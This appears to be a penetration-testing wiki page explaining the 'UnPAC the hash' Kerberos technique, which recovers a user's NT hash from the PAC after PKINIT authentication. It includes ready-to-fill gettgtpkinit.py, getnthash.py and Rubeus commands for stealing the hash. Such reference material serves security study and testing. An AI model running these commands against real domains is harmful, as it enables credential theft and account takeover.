Active Directory
Systems & services
🛠️ Physical
🛠️ binary exploitation
UnPAC the hash
Theory
When using PKINIT to obtain a TGT (Ticket Granting Ticket), the KDC (Key Distribution Center) includes in the ticket a
PAC_CREDENTIAL_INFO structure containing the NTLM keys (i.e. LM and NT hashes) of the authenticating user. This feature allows users to switch to NTLM authentications when remote servers don't support Kerberos, while still relying on an asymmetric Kerberos pre-authentication verification mechanism (i.e. PKINIT).The NTLM keys will then be recoverable after a TGS-REQ (U2U) which is a Service Ticket request made to the KDC where the user asks to authenticate to itself (User to User).
The following protocol diagram demonstrates how UnPAC-the-hash works. It allows attackers that know a user's private key, or attackers able to conduct a Shadow Credentials attacks, to recover the user's LM and NT hashes.
Practice
UNIX-like
Windows
The first step consists in obtaining a TGT by validating a PKINIT pre-authentication first.
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gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
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Once the TGT is obtained, and the session key extracted (printed by gettgtpkinit.py), the getnthash.py script can be used to recover the NT hash.
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export KRB5CCNAME="TGT_CCACHE_FILE"
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getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
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From Windows systems, Rubeus (C#) can be used to requesting a ticket using a certificate and use
/getcredentials to retrieve the NT hash in the PAC.1
Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
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Resources
Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover
Shenanigans Labs
SSTIC2014 » Présentation » Secrets d'authentification épisode II : Kerberos contre-attaque - Aurélien Bordes
Last modified 1mo ago